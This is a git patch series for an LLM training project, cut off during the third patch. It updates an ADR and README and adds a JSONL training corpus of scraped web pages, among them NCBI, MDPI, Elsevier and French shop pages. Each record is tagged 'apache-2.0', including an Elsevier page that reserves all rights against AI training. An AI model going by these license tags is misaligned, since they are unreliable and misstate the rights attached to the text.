From f317c74f303b1153a0eb92f5e68d5610873818eb Mon Sep 17 00:00:00 2001 From: rUv Date: Sat, 28 Mar 2026 14:53:26 +0000 Subject: [PATCH 1/4] =?UTF-8?q?docs(adr):=20update=20ADR-129=20=E2=80=94?= =?UTF-8?q?=20all=20phases=20executing,=20Phase=204=20publishing=20complet?= =?UTF-8?q?e?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Phase 1 Calibration: Complete (all 4 models, benchmarks uploaded to HF) - Phase 2 SFT: Executing on L4 GPU (rank-16, 2 epochs) - Phase 3 Benchmarks: Executing (release gates + L4 benchmark job) - Phase 4 Publishing: Complete (TQ configs + benchmarks + README updates on HF) Benchmark results (L4 GPU): - ruvltra-small: 75.4 tok/s - ruvltra-medium: 62.6 tok/s - ruvltra-claude-code: 67.1 tok/s Co-Authored-By: claude-flow --- docs/adr/ADR-129-ruvltra-gcloud-training-turboquant.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/docs/adr/ADR-129-ruvltra-gcloud-training-turboquant.md b/docs/adr/ADR-129-ruvltra-gcloud-training-turboquant.md index aa469fd5c..d29b85935 100644 --- a/docs/adr/ADR-129-ruvltra-gcloud-training-turboquant.md +++ b/docs/adr/ADR-129-ruvltra-gcloud-training-turboquant.md @@ -16,9 +16,9 @@ Accepted — Phase 1 (calibration) deployed and executing. Governance and releas | **Cloud Run Jobs** | **3 deployed** | `ruvltra-calibration`, `ruvltra-nightly-train`, `ruvltra-benchmark` (all L4 GPU) | | **Cloud Schedulers** | **2 enabled** | Nightly 03:00 UTC, Weekly benchmark Mon 06:00 UTC | | **Phase 1: Calibration** | **Complete** | All 4 models calibrated on L4 GPU. TQ profiles + benchmarks uploaded to HuggingFace. Results: 75.4 tok/s (small), 62.6 tok/s (medium), 67.1 tok/s (claude-code) | -| **Phase 2: SFT** | **Ready** | Training corpus exported (230 records, 530K tokens), scripts ready | -| **Phase 3: Benchmarks** | **Partial** | Release gate automation implemented and tested; inference benchmarks running | -| **Phase 4: Publishing** | **Partial** | TurboQuant sidecar configs uploaded to all 4 HF models | +| **Phase 2: SFT** | **Executing** | LoRA SFT running on L4 GPU (rank-16, 2 epochs, lr=2e-5). Corpus: 230 records, 530K tokens | +| **Phase 3: Benchmarks** | **Executing** | Release gate automation tested. L4 GPU benchmark job running. Calibration benchmarks complete for all 4 models | +| **Phase 4: Publishing** | **Complete** | TurboQuant sidecar configs + benchmark results uploaded to all 4 HF models. Model card READMEs updated with benchmark tables | | **Tooling** | **ruvllm-native** | Uses RuvltraQuantizer + TurboQuantProfile (Rust), gguf + llama-cpp-python (Python). No llama.cpp source compilation. | ## Context From 9ec08f7790717934c90bed58e95c1d8cae8e42e2 Mon Sep 17 00:00:00 2001 From: rUv Date: Sat, 28 Mar 2026 14:58:58 +0000 Subject: [PATCH 2/4] docs: add training pipeline and release gates to root README Add Continuous Training & Optimization section (ADR-129) to the capabilities table: nightly training, 7-gate release checks, TurboQuant profiling, training corpus. Co-Authored-By: claude-flow --- README.md | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/README.md b/README.md index 7adb5e3e9..305e200d2 100644 --- a/README.md +++ b/README.md @@ -100,6 +100,14 @@ User Query → [SONA Engine] → Model Response → User Feedback | 8h | [**GraphMAE**](./crates/ruvector-gnn) | Graph Masked Autoencoder — self-supervised node representation learning with GAT encoder | | 8i | [**TurboQuant**](./crates/ruvllm) | 2-4 bit asymmetric KV-cache quantization — 6-8x memory reduction, <0.5% perplexity loss, H2O/PyramidKV eviction | +**Continuous Training & Optimization** *(ADR-129)* +| # | Capability | What It Does | +|---|------------|--------------| +| 8j | [**Nightly training**](./scripts/training/) | Automated nightly LoRA fine-tuning from brain learnings — models improve every day | +| 8k | [**Release gates**](./scripts/training/release_gate.py) | 7 automated quality checks (code quality, routing accuracy, perplexity, speed, contamination) — prevents shipping regressions | +| 8l | [**TurboQuant profiling**](./crates/ruvllm/src/quantize/turboquant_profile.rs) | Per-layer KV-cache bit-width optimization with `.turboquant.json` sidecar configs | +| 8m | [**Training corpus**](./data/training/) | 230+ records from brain memories (pi.ruv.io) + architecture decisions + Claude routing examples | + **Distributed Systems** | # | Capability | What It Does | |---|------------|--------------| From 7de5586ff397e01d6962c48d8a7d3fef9096b6ba Mon Sep 17 00:00:00 2001 From: rUv Date: Sat, 28 Mar 2026 15:00:05 +0000 Subject: [PATCH 3/4] fix(training): include training corpus in Docker build context The SFT job failed because merged_corpus.jsonl was not in the Docker image. Copy it to scripts/training/data/training/ so it's included in the COPY . /app/ step. Co-Authored-By: claude-flow --- .../data/training/merged_corpus.jsonl | 230 ++++++++++++++++++ 1 file changed, 230 insertions(+) create mode 100644 scripts/training/data/training/merged_corpus.jsonl diff --git a/scripts/training/data/training/merged_corpus.jsonl b/scripts/training/data/training/merged_corpus.jsonl new file mode 100644 index 000000000..419a099ad --- /dev/null +++ b/scripts/training/data/training/merged_corpus.jsonl @@ -0,0 +1,230 @@ +{"id": "002a0ba3-8c20-4403-b259-0e2c5a9be00a", "source": "brain", "text": "NCBI BlastRule accession NBR005628\n\nNCBI BlastRule accession NBR005628\nSkip to main page content\nAn official website of the United States government\nHere's how you know\nThe .gov means it\u2019s official.\nFederal government websites often end in .gov or .mil. Before sharing sensitive information, make sure you\u2019re on a federal government site.\nThe site is secure.\nThe https:// ensures that you are connecting to the official website and that any information you provide is encrypted and transmitted securely.\nLog in\nShow account info\nClose\nAccount\nLogged in as:\nusername\nDashboard\nPublications\nAccount settings\nLog out\nAccess keys NCBI Homepage MyNCBI Homepage Main Content Main Navigation\nProtein Family Models\nSearch\nAdvanced Documentation\nThe model on this page is part of a hierarchical collection of curated Hidden Markov Model-based and BLAST-based protein families (HMMs and BlastRules), and Conserved Domain Database architectures used to assign names, gene symbols, publications and EC numbers to the prokaryotic RefSeq proteins that meet the criteria for inclusion in a family. HMMs and BlastRules also contribute to structural annotation by NCBI's Prokaryotic Genome Annotation Pipeline (PGAP) (Read more).\nDetails\nNCBI BlastRule accession\nModel protein\nRepresentative protein(s) of the BlastRule protein family.\nProduct name\nName propagated to proteins best supported by this BlastRule ( Read more ).\nFamily type\nThe family type indicates the BlastRule specificity and the diversity of protein hits. (Read more)\nGene symbol\nEC number(s)\nGO term(s)\nIdentity cutoff (%)\nThe minimum percent sequence identity between the model protein and a target protein.\nTarget coverage cutoff (%)\nThe minimum percentage of a target protein\u2019s length that must be aligned to the model protein by BLAST.\nModel coverage (%)\nThe minimum percentage of the model protein\u2019s length that must be aligned to a target protein by BLAST.\nNumber of RefSeq protein hits\nThe number of RefSeq proteins with identity and coverage above the BlastRule\u2019s identity and coverage cutoffs, respectively.\ncounting ...\nLast updated\nReferences\nProtein hits\nNamed by this model (...)\nOther hits (...)\nNo RefSeq protein is named by this evidence.\nFailed to load data from server. Please refresh the page to try again.\nAll matching RefSeq proteins are named by this evidence.\nFailed to load data from server. Please refresh the page to try again.\nNo data found. Please try again.\nLinks\nSimilarly-named families\nSearch PubMed\nView hits in MicroBIGG-E\nDownload all HMMs\nFollow NCBI\nTwitter\nFacebook\nLinkedIn\nGitHub\nConnect with NLM\nSM-Twitter\nSM-Facebook\nSM-Youtube\nNational Library of Medicine\n8600 Rockville Pike\nBethesda, MD 20894\nWeb Policies\nFOIA\nHHS Vulnerability Disclosure\nHelp\nAccessibility\nCareers\nNLM\nNIH\nHHS\nUSA.gov", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/002a0ba3-8c20-4403-b259-0e2c5a9be00a", "content_hash": "0bbe2db611f8929cab17c1e029bd103e8f7a167284cc5fa71b2fa1dc3bc12c01", "created_at": "2026-03-28T05:13:08.013913051Z"} +{"id": "31cbea1b-9338-411f-b969-ca304e947eb1", "source": "brain", "text": "CDD Conserved Protein Domain Family: SAM_EPH-B3\n\nCDD Conserved Protein Domain Family: SAM_EPH-B3\nConserved Protein Domain Family\nSAM_EPH-B3\nEntrez CDD Structure Protein Help\n?\ncd09553: SAM_EPH-B3\nDownload alignment\nSAM domain of EPH-B3 subfamily of tyrosine kinase receptors\nSAM (sterile alpha motif) domain of EPH-B3 subfamily of receptor tyrosine kinases is a C-terminal potential protein-protein interaction domain. This domain is located in the cytoplasmic region of EPH-B3 receptors and appears to mediate cell-cell initiated signal transduction. EPH-B3 receptor protein kinase performs kinase-dependent and kinase-independent functions. It is known to be involved in thymus morphogenesis, in regulation of cell adhesion and migration. Also EphB3 controls cell positioning and ordered migration in the intestinal epithelium and plays a role in the regulation of adult retinal ganglion cell axon plasticity after optic nerve injury. In some experimental models overexpression of EphB3 enhances cell/cell contacts and suppresses colon tumor growth.\nLinks\n?\nSource: cd09488\nTaxonomy: Tetrapoda\nPubMed: 14 links\nProtein: Representatives\nSpecific Protein\nRelated Protein\nRelated Structure\nArchitectures\nSuperfamily: cl15755\nStatistics\n?\nPSSM-Id: 188952\nAligned: 3 rows\nThreshold Bit Score: 145.946\nCreated: 10-May-2010\nUpdated: 2-Oct-2020\nStructure\n?\nAligned Rows:\nDownload Cn3D\nConserved Features/Sites ?\nPubMed References?\nputative\nFeature 1:putative phosphorylation site [posttranslational modification site]\nEvidence:\nComment:Highlighted tyrosine is a potential phosphoregulatory site and histidine is its bonding partner (phosphorylated upon activation by ephrin).\nCitation:PMID 9886291\nScroll to Sequence Alignment Display\nSequence Alignment\ninclude consensus sequence ?\nFormat: Hypertext Plain Text mFasta Compact Hypertext Compact Text Row Display: Color Bits: 0.5 bit 1.0 bit 1.5 bit 2.0 bit 2.5 bit 3.0 bit 3.5 bit 4.0 bit Identity Type Selection: top listed sequences the most diverse members\n\nFeature 1 # # \nQ91735 898 PDYTTFPTVSDWLEAIKMGQYQENFLSAGFTSFHLVAQMTAEDLLRIGVTLAGHQKKLLNSVQDMRLQM 966 African clawed frog\nQ07498 912 PDYTTFTTVGDWLDAIKMGRYKENFVNAGFASFDLVAQMTAEDLLRIGVTLAGHQKKILSSIQDMRLQM 980 chicken\nP54753 922 PDYTTFTTVGDWLDAIKMGRYKESFVSAGFASFDLVAQMTAEDLLRIGVTLAGHQKKILSSIQDMRLQM 990 human\nCiting CDD\nJiyao W et al.(2023). \"The conserved domain database in 2023.\", Nucleic Acids Res. 51(D1):D384-D388.\n| Disclaimer | Privacy statement | Accessibility |", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/31cbea1b-9338-411f-b969-ca304e947eb1", "content_hash": "7f2bae89aa10ef44c1eb416b35dc5c6b793a6aa9042c00c8e38c0f521ef2daca", "created_at": "2026-03-28T05:13:07.891433121Z"} +{"id": "96d61d85-649f-4447-af1b-ae78753f7160", "source": "brain", "text": "Social and Environmental Justice | Social Sciences | MDPI\n\nSocial and Environmental Justice | Social Sciences | MDPI\nSkip Content\nYou are currently on the new version of our website. Access the old version\nhere\n.\nClose\nJournals\nAll Journals\nJournal Finder\nProceedings Series\nPropose a Journal\nTopics\nBy Subjects\nBiology & Life Sciences\nBusiness & Economics\nChemistry & Materials\nComputer Science & Mathematics\nEngineering\nEnvironmental & Earth Sciences\nMedicine & Pharmacology\nPhysical Sciences\nPublic Health & Healthcare\nSocial Sciences, Arts & Humanities\nOur Topics\nAll Topics\nAbout Topics\nTopics Awards\nSubject Editors\nPropose a Topic\nAuthor Services\nInformation\nPublishing\nOpen Access Policy\nEditorial Process\nPublication Ethics\nSpecial Issues Guidelines\nArticle Processing Charge\nPublishing Services\nGuidelines\nFor Authors\nFor Reviewers\nFor Editors\nFor Librarians\nPartnerships\nSocieties\nConferences\nInstitutional Open\nAccess Program\nAbout\nCompany\nAbout Us\nMission\nImpact\nHistory\nLeadership\nOffice Locations\nAwards\nCareers\nProducts\nMedia\nNews\nBlog\nContact\nSupport\nSend Feedback\nSearch\nOpen mobile navigation\nHome\nJournals\nSocial Sciences\nSpecial Issues\nSocial and Environmental Justice\nSubmit to Social Sciences\nBecome a Reviewer\n1.7\nImpact Factor\n3.1\nCiteScore\n34 days\nTime to First Decision\nInstructions for Authors\nContent\nBrowse By\nSpecial Issues\nTopics\nTopical Collections\nAll Sections\nJournal Issues\nUpcoming Issue\nCurrent Issue\nAll Issues\nAll Volumes\nArticles\nMost Recent\nMost Cited\nMost Viewed\nEditor\u2019s Choice\nGuidelines\nEditor Guidelines\nReviewer Guidelines\nEditorial Procedures\nEthics Guidelines\nSpecial Issue Guidelines\nAbout\nJournal Information\nAims & Scope\nIndexing & Archiving\nArticle Processing Charge\nStatistics\nNews & Conferences\nHistory\nAwards\nEditorial Office\nJournal Boards\nEditorial Board\nTopical Advisory Panel\nSearch\nJournal Menu\nSocial and Environmental Justice\nSpecial Issue Information\nDear Colleagues,\nCurrent social, economic, and political systems throughout the world have fostered profound injustice and resulted in unconscionable phenomena such as environmental degradation, racism, ableism, sexism, poverty, and rising inequality of access to resources and information. Many of these problems are worsening by the day, leading to an increased risk of social and environmental collapse. In response, a substantial body of scholarship has attempted to contribute to increasing social and environmental justice. However, few efforts have been made to integrate different perspectives on justice issues in a way that can form a systematic foundation for a deep societal shift in mindset and practices.\nThese ideas motivate this Special Issue and are the bases for the Fordham University 2023 International Conference on Social and Environmental Justice. This Special Issue aims at addressing social and environmental justice in accessing natural and technological resources and knowledge nationally and globally. Collectively, this Issue will seek to understand how such conditions relate to history, structural adjustment programs, and worldwide policies that affect communities, habitats and species, and environmental regulations and standards all over the world. This Special Issue will cover subjects related to environmental justice, immigration justice, disability justice, digital and information access justice, and gender and sexuality.\nArticles should be between 5000 and 10,000 words and follow the guidelines of the journal. The guidelines and call for papers can also be found on the journal website: https://www.mdpi.com/journal/socsci. The submission deadline is August 31, 2023. For further details on the submission process, please see the instruction for authors on the journal website: https://www.mdpi.com/journal/socsci/instructions. The journal mandates two outside reviewers for all submissions. Publication normally occurs 6\u20138 weeks after the final draft submission. The Special Issue waives submission and publication fees.\nSocial Sciences is ranked 75/263 (Q2) in the Social Science-Interdisciplinary category of the JCR and is ranked 50/264 (Q1). It is ranked in the General Social Sciences category with a CiteScore of 3.4 for 2021, and it publishes on a wide range of disciplines including history, anthropology, and sociology. The journal boasts a rigorous yet fast peer-review system, which is demonstrated by a manuscript rejection rate of 72.32% and median processing time of 54 days in 2021.\nProf. Dr. Steven J. Franks\nProf. Dr. Z. George Hong\nProf. Dr. Sophie Mitra\nDr. Nicholas Paul\nDr. Aseel Sawalha\nGuest Editors\nManuscript Submission Information\nManuscripts should be submitted online at www.mdpi.com by registering and logging in to this website. Once you are registered, click here to go to the submission form. Manuscripts can be submitted until the deadline. All submissions that pass pre-check are peer-reviewed. Accepted papers will be published continuously in the journal (as soon as accepted) and will be listed together on the special issue website. Research articles, review articles as well as short communications are invited. For planned papers, a title and short abstract (about 250 words) can be sent to the Editorial Office for assessment.\nSubmitted manuscripts should not have been published previously, nor be under consideration for publication elsewhere (except conference proceedings papers). All manuscripts are thoroughly refereed through a double-blind peer-review process. A guide for authors and other relevant information for submission of manuscripts is available on the Instructions for Authors page. Social Sciences is an international peer-reviewed open access monthly journal published by MDPI.\nPlease visit the Instructions for Authors page before submitting a manuscript. The Article Processing Charge (APC) for publication in this open access journal is 1800 CHF (Swiss Francs). Submitted papers should be well formatted and use good English. Authors may use MDPI's English editing service prior to publication or during author revisions.\nKeywords\nsocial justice\nenvironmental justice\neconomic justice\ndisability justice\nimmigration justice\ndigital access justice\nBenefits of Publishing in a Special Issue\nEase of navigation: Grouping papers by topic helps scholars navigate broad scope journals more efficiently.\nGreater discoverability: Special Issues support the reach and impact of scientific research. Articles in Special Issues are more discoverable and cited more frequently.\nExpansion of research network: Special Issues facilitate connections among authors, fostering scientific collaborations.\nExternal promotion: Articles in Special Issues are often promoted through the journal's social media, increasing their visibility.\nReprint: MDPI Books provides the opportunity to republish successful Special Issues in book format, both online and in print.\nSpecial Issue Policies\nPublished Papers\nSubmit to this Journal\nBecome a Reviewer\nSubmission deadline 30 September 2023\nViews 12,295\nSpecial Issue Editors\nSteven J. Franks\nProf. Dr. Steven J. Franks\nGuest Editor\nEmail\nWebsite\nDepartment of Biological Sciences, Fordham University, Bronx, NY 10458, USA\nInterests: environmental justice; evolutionary ecology; invasive species; plant responses to climate change\nZ. George Hong\nProf. Dr. Z. George Hong\nGuest Editor\nEmail\nWebsite\nGraduate School of Religion and Religious Education, Fordham University, Bronx, NY 10458, USA\nInterests: digital humanities; digital access justice; history; social justice\nSophie Mitra\nProf. Dr. Sophie Mitra\nGuest Editor\nEmail\nWebsite\nEconomics, Fordham University, Bronx, NY 10458, USA\nInterests: disability; health; economic insecurity; human development\nNicholas Paul\nDr. Nicholas Paul\nGuest Editor\nEmail\nWebsite\nCenter for Medieval Studies, Fordham University, Bronx, NY 10458, USA\nInterests: medieval political cultures; religion and conflict; history and memory; digital humanities\nAseel Sawalha\nDr. Aseel Sawalha\nGuest Editor\nEmail\nWebsite\nAnthropology, Fordham University, Bronx, NY 10458, USA\nInterests:", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/96d61d85-649f-4447-af1b-ae78753f7160", "content_hash": "5221981cc598a728daee2734fbaa72dc26d5b20a21b81a11e3d5a51b516e9c18", "created_at": "2026-03-28T05:13:07.798645587Z"} +{"id": "4068eebe-d980-4d4e-bb22-cb71cf3ea0eb", "source": "brain", "text": "Les pieds dans la mare - Maison P\u00eache et Nature des C\u00f4tes d'Armor - Jugon les lacs\n\nLes pieds dans la mare - Maison P\u00eache et Nature des C\u00f4tes d'Armor - Jugon les lacs\nNous contacter\nPlan d\u2019acc\u00e8s et horaires\nAccueil\nL\u2019association\nAgenda des sorties\nAnimations groupes\nGroupes scolaires\nGroupes de loisirs\nP\u00eacher \u00e0 Jugon-Les-Lacs\nFacebook\nS\u00e9lectionner une page\n\u00ab Tous les \u00c9v\u00e8nements\nCet \u00e9v\u00e8nement est pass\u00e9.\nLes pieds dans la mare\n23 avril 2024 - 14 h 30 - 16 h 30\n\u00ab Initiation p\u00eache aux leurres \u2013 Belle-Isle-en-Terre\nInitiation p\u00eache de la carpe \u2013 Jugon-les-lacs \u00bb\nPartez \u00e0 la recherche des t\u00eatards, grenouilles et autres bestioles de la mare ! Accompagn\u00e9 d\u2019un animateur nature passionn\u00e9, vous arpen terez les berges de la mare o\u00f9, muni d\u2019une \u00e9puisette, vous ferez connaissance avec un monde fascinant\u2026\nInsectes, amphibiens et mollusques aquatiques n\u2019auront plus de secret !\nPr\u00e9voir des bottes et des v\u00eatements adapt\u00e9s \u00e0 la m\u00e9t\u00e9o du jour.\nPour enfants et adultes ; \u00e0 partir de 3 ans (-8 ans accompagn\u00e9 d\u2019un adulte payant). Tarif : 6\u20ac/participant\nRetrouvez le programme des animations en PDF \u00e0 t\u00e9l\u00e9charger ici !\nR\u00e9servation au ligne ci-dessous (recherchez la date de votre choix en vert ; si la date n\u2019apparait pas en vert c\u2019est qu\u2019elle est compl\u00e8te) :\nChargement en cours\u2026\nAjouter au calendrier\nGoogle Agenda\niCalendar\nOutlook 365\nOutlook Live\nD\u00e9tails\nDate : 23 avril 2024\nHeure :\n14 h 30 - 16 h 30\nCat\u00e9gorie d\u2019\u00c9v\u00e8nement: Sortie nature\nOrganisateur\nMaison P\u00eache et Nature\nT\u00e9l\u00e9phone .04\nLieu\nEtang de Jugon\n48.403582, -2.320074 + Google Map\nT\u00e9l\u00e9phone .04\n\u00ab Initiation p\u00eache aux leurres \u2013 Belle-Isle-en-Terre\nInitiation p\u00eache de la carpe \u2013 Jugon-les-lacs \u00bb\nMaison P\u00eache et Nature\ndes C\u00f4tes d'Armor\n2 Rue des Grands Moulins,\n22270 Jugon-les-Lacs\nT\u00e9l. : 02 96 50 60 04\nNos partenaires\nShare This\nPartager sur Facebook\nPartager sur Twitter", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/4068eebe-d980-4d4e-bb22-cb71cf3ea0eb", "content_hash": "64586290fc40619227b073ceb85f1791c77c58131f54d0a63484f9a79fee8f0e", "created_at": "2026-03-28T05:13:07.661498626Z"} +{"id": "a0f2927f-bcb3-4ea7-9084-77f4caf54047", "source": "brain", "text": "Contact Sales - Books\n\nContact Sales - Books\nSkip to main content\nUnfortunately we don't fully support your browser. If you have the option to, please upgrade to a newer version or use Mozilla Firefox, Microsoft Edge, Google Chrome, or Safari 14 or newer. If you are unable to, and need support, please send us your feedback.\nWe'd appreciate your feedback.Tell us what you think!\nAcademic & Government\nAcademic & Government\nHealth\nHealth\nIndustry\nIndustry\nElsevier Connect\nInsights\nAbout\nAbout\nCustomer support\nSupport\nPublish with us\nOpen Search\nLocation Selector\nmenu\nHome\nContact Sales - Books\nRequest a sales quote\nThank you for your interest in our products.\nFill out the required fields to request a sales quote.\nOur sales representative will share your request directly with your institution\u2019s decision makers, and together they will discuss the options of adding the publication to your institute\u2019s collection.\nTry the Institutional Ordering Platform\nInstitutional customers* can now purchase access to individual ScienceDirect books, including eBooks, Book Series, MRWs, Textbooks, and Handbooks via a self-service platform: no need for a sales representative and faster access.\nYou can learn more and place the order here.\n*Please note: US Federal Government, India-based customers and corporate customers cannot currently access the platform.\nFirst name *\nLast name *\nWork email address *\nWork phone *\nInstitution name *\nInstitution website *\nCountry / region *\nAfghanistan\u00c5land IslandsAlbaniaAlgeriaAmerican SamoaAndorraAngolaAnguillaAntarticaAntigua and BarbudaArgentinaArmeniaArubaAustraliaAustriaAzerbaijanBahamasBahrainBangladeshBarbadosBelarusBelgiumBeninBhutanBoliviaBosnia and HerzegovinaBotswanaBrazilVirgin Islands, BritishBrunei DarussalamBulgariaBurkina FasoBurundiCambodiaCameroonCanadaCabo VerdeCayman islandsChadChileChinaCoco IslandsColombiaCook IslandsCosta RicaCroatiaCubaCura\u00e7aoCyprusCzechiaCongo, Democratic RepublicDenmarkDjiboutiDominican RepublicEcuadorEgyptEl SalvadorEquatorial GuineaEritreaEstoniaEthiopiaFijiFinlandFranceGabonGambiaGeorgiaGermanyGhanaGibraltarGreeceGreenlandGrenadaGuatemalaGuineaGuyanaHaitiHeard Island and McDonald IslandsHondurasHong KongHungaryIcelandIndiaIndonesiaIranIraqIrelandIsle of ManIsraelItalyC\u00f4te d'IvoireJamaicaJapanJordanKazakhstanKenyaKorea, SouthKuwaitKyrgyzstanLatviaLebanonLesothoLiberiaLibyaLithuaniaLuxembourgNorth MacedoniaMadagascarMalawiMalaysiaMaldivesMaliMaltaMartiniqueMauritaniaMauritiusMexicoMoldovaMonacoMongoliaMontenegroMontserratMoroccoMozambiqueMyanmarNamibiaNepalNetherlandsNew CaledoniaNew ZealandNicaraguaNigerNigeriaNorfolk IslandKorea, NorthNorwayOmanPakistanPanamaPapua New GuineaParaguayPeruPhilippinesPolandPortugalPuerto RicoQatarCongoR\u00e9unionRomaniaRussian FederationRwandaSaint Kitts and NevisSaint LuciaSaint Vincent and the GrenadinesSamoaSaudi ArabiaSenegalSerbiaSeychellesSingaporeSint MaartenSlovakiaSloveniaSomaliaSouth AfricaSouth SudanSpainSri LankaSudanSurinameSvalbard and Jan MayenEswatiniSwedenSwitzerlandSyrian Arab RepublicTaiwanTajikistanTanzania, the United Republic ofThailandTogoTokelauTrinidad and TobagoTunisiaT\u00fcrkiyeUgandaUkraineUnited Arab EmiratesUnited KingdomUnited States of AmericaUnited States Minor Outlying IslandsUruguayVirgin Islands, U.S.UzbekistanVanuatuHoly SeeVenezuelaViet NamWallis and FutunaWestern SaharaYemenZambiaZimbabwe\nComments\nissn_isbn\nproduct\nWebApp_Label\nWebApp_Name\nCampaign_Name\nProduct 1 Level\nProduct 2 Level\nResponse_Type\nCommunication_Types\ndgcid\nreferrerURL\ncorrelationid\nIf you do not wish to receive updates, offers and other information about relevant products, services and events from Elsevier, please tick the box.\nCompany Division\nSubmit\nFooter navigation\nUseful links\nSubmit your paper\nShop Books & Journals\nOpen access\nView all products\nElsevier Connect\nAbout\nAbout Elsevier\nCareers\nGlobal Press Office\nAdvertising, reprints & supplements\nModern slavery act statement\nSupport\nCustomer support\nResource center\nGlobal | English\nCopyright \u00a9 2026 Elsevier, its licensors, and contributors. All rights are reserved, including those for text and data mining, AI training, and similar technologies.\nTerms & Conditions\nPrivacy policy\nAccessibility\nCookie settings", "license": "apache-2.0", "quality_score": 0.5, "provenance": "pi.ruv.io/memory/a0f2927f-bcb3-4ea7-9084-77f4caf54047", "content_hash": "113909aa156b90209709dfab886e40139011f9132b984961f3bd5973406aa1bc", "created_at": "2026-03-28T05:13:07.572687647Z"} +{"id": "4ec49ee1-473f-413d-91ae-a46319a600c5", "source": "brain", "text": "Fiche Montessori Mini Puzzle\n\nFiche Montessori Mini Puzzle\nSOLDES: -10% sur tout ! Avec le code DISCOUNT\nSOLDES: -10% sur tout ! Avec le code DISCOUNT\nMenu\nContact\nfr\nen\nhu\n0\nOK\nMon compte Connexion\n0 Panier (vide)\nVotre panier est vide\nCommander\nProduit ajout\u00e9 \u00e0 votre panier\nQuantit\u00e9 :\nIl y a 0 produits dans votre panier.\nIl y a 1 produit dans votre panier.\nTotal produits : 0,00 \u20ac\nLivraison : Gratuit\nTotal : 0,00 \u20ac\nContinuer mes achats\nCommander\nACCUEIL\nHygi\u00e8ne\nSavon naturel\nGel douche bio\nD\u00e9odorant naturel\nDentifrice naturel\nHygi\u00e8ne intime\nD\u00e9sinfectant\nCheveux\nShampoing naturel\nApr\u00e8s shampoing bio\nMasque capillaire bio\nHuile pour cheveux\nSoin capillaire\nAnti chute cheveux\nColoration capillaire naturelle\nAccessoire coiffure\nCoffret soin capillaire\nVisage\nNettoyant et d\u00e9maquillant\nMasque Visage\nGommage Visage\nSoin \u00e0 la bave d'escargot\nSoin anti-\u00e2ge\nSoin anti-imperfection\nSoin hydratant visage\nHuile visage\nS\u00e9rum visage\nContour des yeux\nBaume \u00e0 l\u00e8vres\nCr\u00e8me solaire bio\nAccessoire beaut\u00e9\nCoffret cadeau beaut\u00e9\nCorps\nLait & cr\u00e8me corps\nBeurre et baume corps\nHuile corps bio\nMasque pour le corps\nGommage corps\nSoin anti-vergetures\nSoin des mains et des ongles\nSoin des jambes et des pieds\nMassage\nAccessoire corps\nCoffret cadeau corps\nEpilation\nProduits aux oeufs de fourmis\nCire bio et naturelle\nAccessoire \u00e9pilation\nSoin apr\u00e8s \u00e9pilation\nCoffret \u00e9pilation\nMinceur\nG\u00e9lules minceur\nTh\u00e9 et Caf\u00e9 minceur\nSoin minceur et fermet\u00e9\nGaines et Corsets\nCoffret minceur\nMaquillage\nProduits teints\nCrayon sourcils\nProduits yeux\nProduits l\u00e8vres\nD\u00e9maquillant bio\nSoin des ongles\nAccessoire maquillage\nAroma & DIY\nHuiles Essentielles Bio\nHuiles v\u00e9g\u00e9tales\nPoudres V\u00e9g\u00e9tales\nArgiles\nTensioactifs\nMat\u00e9riel DIY\nActifs cosm\u00e9tiques\nAloe Vera\nEaux Florales\nBeurre\nBien-\u00eatre\nMassage et relaxation\nAphrodisiaque\nCompl\u00e9ment alimentaire\nAccessoires de sport\nAccessoires bien-\u00eatre\nBijoux\nBracelet\nBoucle d'oreille\nCollier\nBracelet de Cheville\nMINI PRIX\n- BLOG\n- PRO\nPromotions Nouveaut\u00e9s\nMenu\nAccueil\nBien-\u00eatre\nFiche Montessori Moiti\u00e9 d'animaux\nEnvoyer \u00e0 un ami\nEnvoyer \u00e0 un ami\nFiche Montessori Moiti\u00e9 d'animaux\nFiche \u00e9ducative inspiration montessori - Fiche moiti\u00e9 d'animaux - Trouver la moiti\u00e9 des animaux\nNom *\nE-mail *\n* Champs requis\nAnnuler\nEnvoyer\nRetirer ce produit de mes favoris\nAjouter ce produit \u00e0 mes favoris\nFiche Montessori Moiti\u00e9 d'animaux\n3,33 \u20ac\nOu payer en\nFiche \u00e9ducative inspiration montessori - Fiche moiti\u00e9 d'animaux - Trouver la moiti\u00e9 des animaux\nEn stock (10 produitproduits)\nDate de disponibilit\u00e9 :\nAjouter au panier\nLa quantit\u00e9 minimale pour pouvoir commander ce produit est 1\nPr\u00e9venez-moi lorsque le produit est disponible\nPartager\nNote\nLire les avis (0)\nDonnez votre avis\nPoint de fid\u00e9lit\u00e9 pour ce produit\n3 points de fid\u00e9lit\u00e9\nAvis (0)\nAucun avis n'a \u00e9t\u00e9 publi\u00e9 pour le moment.\nSoyez le premier \u00e0 donner votre avis\nDonnez votre avis\nFiche Montessori Moiti\u00e9 d'animaux\nFiche \u00e9ducative inspiration montessori - Fiche moiti\u00e9 d'animaux - Trouver la moiti\u00e9 des animaux\nTitre *\nCommentaire *\nVotre nom *\n* Champs requis\nAnnuler\nEnvoyer\nCommande par t\u00e9l\u00e9phone\nPrise de commandes par t\u00e9l\u00e9phone\nConseils & Astuces Beaut\u00e9\nRejoignez-nous sur notre groupe FB\nRestons en contact\nRejoignez-nous sur Instagram\nOffre Anniversaire\nUne super offre pour votre anniversaire\nLivraison rapide & gratuite\nEn France \u00e0 partir de 70 \u20ac d'achat\nEn mondial relais\nPaiement 100% s\u00e9curis\u00e9\nCB, Paypal, Ch\u00e8que, Virement\nPaiement en 4 fois sans frais !\nGarantie satisfaction\nSatisfait ou rembours\u00e9\nRetours accept\u00e9s pendant 14 jours\nService client au top\nPar t\u00e9l\u00e9phone : Mardi, Vendredi : 9H - 16H\nPar E-mail : 7J/7 24H/24\nCosmeto Nature, votre boutique de beaut\u00e9 au naturel. Elle propose \u00e0 la vente des produits et accessoires de beaut\u00e9 sur internet.\nInformations\nInformations\nLivraison & Retour\nPaiement S\u00e9curis\u00e9\nFAQ\nPlan du site\nNos produits\nNos produits\nPromotions\nNouveaut\u00e9s\nNos marques\nGagnez 5\u20ac en parrainant\nA propos\nA propos\nNotre histoire\nConditions 